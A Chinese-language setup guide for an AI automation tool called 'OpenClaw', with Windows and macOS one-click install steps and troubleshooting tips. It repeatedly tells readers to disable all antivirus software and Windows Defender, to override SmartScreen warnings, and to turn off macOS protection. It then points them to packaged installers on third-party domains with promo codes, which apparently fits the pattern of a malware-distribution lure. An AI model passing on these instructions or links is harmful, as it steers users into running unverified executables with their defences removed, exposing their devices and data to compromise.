OpenClaw 实操指南|本地 AI 自动化工具双平台部署教程
适配系统:Windows10/11 64 位、macOS 12 及以上 对应版本:Windows 端 v2.9.0;macOS 端 v2.7.9 压缩包大小:45.8MB
工具简述
OpenClaw 是一款运行于本地设备的 AI 自动化工具,可以接收自然语言指令驱动电脑执行各类重复操作。传统自动化项目往往需要处理复杂的环境依赖,对使用者技术基础有一定门槛,而 OpenClaw 采用打包化一键部署模式,把 Python、Node.js、Git 等组件全部内置,不用使用者手动配置环境,普通办公人员也可以快速完成部署,用来处理大量机械重复的电脑操作。
部署前重要准备事项
解压、安装以及启动软件之前,请务必关闭本机全部安全防护程序,包括 360 安全卫士、腾讯电脑管家、火绒安全,同时关闭 Windows Defender 实时防护。
该工具需要实现系统控制、文件读写、键鼠模拟等能力,这类行为容易被安全软件识别为可疑行为。一旦核心文件被隔离、删除,就会直接造成部署失败。项目属于开源项目,有需要的用户可以前往 GitHub 查看源码做安全核验,关闭防护工具之后再继续后续操作。
⚠️关键约束:安装目录必须使用纯英文路径,禁止中文、空格、各类特殊符号,不建议安装在 C 盘,防止占用系统盘存储空间。
Windows 平台完整部署步骤
步骤 1:获取安装压缩包
拿到压缩包文件后,在浏览器下载文件夹或者桌面定位文件。推荐使用浏览器自带下载器或者迅雷下载,减少网络波动导致的压缩包损坏问题。
步骤 2:解压压缩包并启动安装程序
优先使用 WinRAR、7‑Zip 进行解压,系统自带解压工具容易出现文件丢失损坏。右键压缩包,选择解压到当前文件夹,生成 Openclaw‑win 文件夹。
打开解压后的文件夹,双击Openclaw Windows 一键启动.exe,龙虾图标便于快速识别。当 Windows SmartScreen 弹出安全拦截提示,点击更多信息,选择仍要运行。
进入欢迎界面点击底部「开始使用」,跳转路径选择页面。✅推荐路径示例:
D:\OpenClaw、E:\WorkAI\OpenClaw❌不规范路径示例:D:\AI工具\OpenClaw、D:\自动化工具
勾选用户协议与免责声明,点击开始安装,进入自动部署阶段。
步骤 3:等待自动化部署完成
点击开始安装后,整套流程自动执行,无需人为干预,整体耗时 3‑5 分钟,耗时取决于电脑硬件性能。部署过程请勿关闭窗口,避免进程中断导致安装不成功。
程序后台自动完成的工作:
- 检测本机运行环境,自动补齐 Git、Node.js、Python 等缺失依赖
- 部署 OpenClaw 全部核心项目文件,适配 Windows 系统运行逻辑
- 安装浏览器控制组件、键鼠模拟工具,支撑自动化任务执行
- 生成本设备专属.env 配置文件,完成程序配置,生成桌面快捷启动图标
当安装进度到达 100%,软件会自动拉起主程序界面。
步骤 4:第一次启动,确认服务正常运行
安装完成自动跳转初始化页面,页面提示「正在等待 Gateway 就绪...」。第一次启动需要完成后台服务初始化,等待 1‑3 分钟属于正常现象,后续开启软件仅需要数秒。
当右上角状态显示Gateway 在线,代表部署已经成功。 界面各功能区域说明:
- 右上角区域:Gateway 运行状态、重启服务按钮、日志查看入口、Tokens 可用额度
- 左侧栏:本地与渠道切换入口,支持新建对话,回看历史会话
- 中间对话区:AI 交互窗口,支持多模型切换、代码语法高亮
- 底部输入框:输入自然语言指令,Enter 发送,Shift+Enter 换行,可切换自动、普通模式
步骤 5:下发指令,验证工具实际效果
部署完成无需额外参数调整,直接在底部输入框输入自然语言描述,OpenClaw 就会拆解任务、调用工具完成电脑操作。指令描述越细致,任务执行效果越稳定。
可直接复制的测试指令:
- 整理 D 盘下载目录,按照文件类型新建文件夹做分类存放
- 打开记事本,写入 “OpenClaw 自动化功能验证”,保存文件到桌面
- 获取本机各个磁盘剩余容量,整理文字输出结果
macOS 平台部署说明
macOS 最低系统版本要求 12 及以上,对应版本 v2.7.9。部署思路和 Windows 基本保持一致,同样为可视化一键部署,内置全套依赖组件,不需要操作命令行。安装路径同样要求纯英文目录,启动前关闭系统安全防护。部署完成后,可以进入设置板块对接各类聊天渠道,实现通过聊天窗口下发任务。
常见问题排查
安装失败,启动软件没有任何反馈确认安全防护软件全部关闭,如果问题依旧,删除旧解压目录,重新解压压缩包重试部署。
Gateway 一直显示离线检查安装路径,确认不存在中文、空格、特殊字符;点击右上角重启按钮重置 Gateway 服务;完全关闭软件,使用管理员身份重新运行。
出现网络报错提示第一次启动需要网络完成初始化,保证网络通畅,关闭代理、VPN 之后重新启动程序。
Tokens 额度不足提示内置基础额度可以满足基础功能体验,额度用尽之后可以在软件内补充,不会影响本地基础操作。
输入框无法发送指令等待 Gateway 状态变为在线再进行操作,如果依旧异常,建议重新部署。
使用小提示
- 建议安装到剩余存储空间≥5G 的磁盘,预留空间用于后续插件扩展、模型缓存。
- 桌面快捷方式生成成功后,后续直接双击图标启动,不用重复解压安装。
- 需要对接飞书、微信等聊天渠道,部署完成后进入「设置」→「聊天渠道」完成配置,即可通过聊天软件下发自动化指令。
- 版本更新直接下载新版压缩包覆盖原有文件夹,不需要卸载旧版本。
下载地址
Windows v2.9.0 版本: https://xiake.yun/api/download/package/20?promoCode=IV4E9B04A80C
macOS v2.7.9 版本: https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C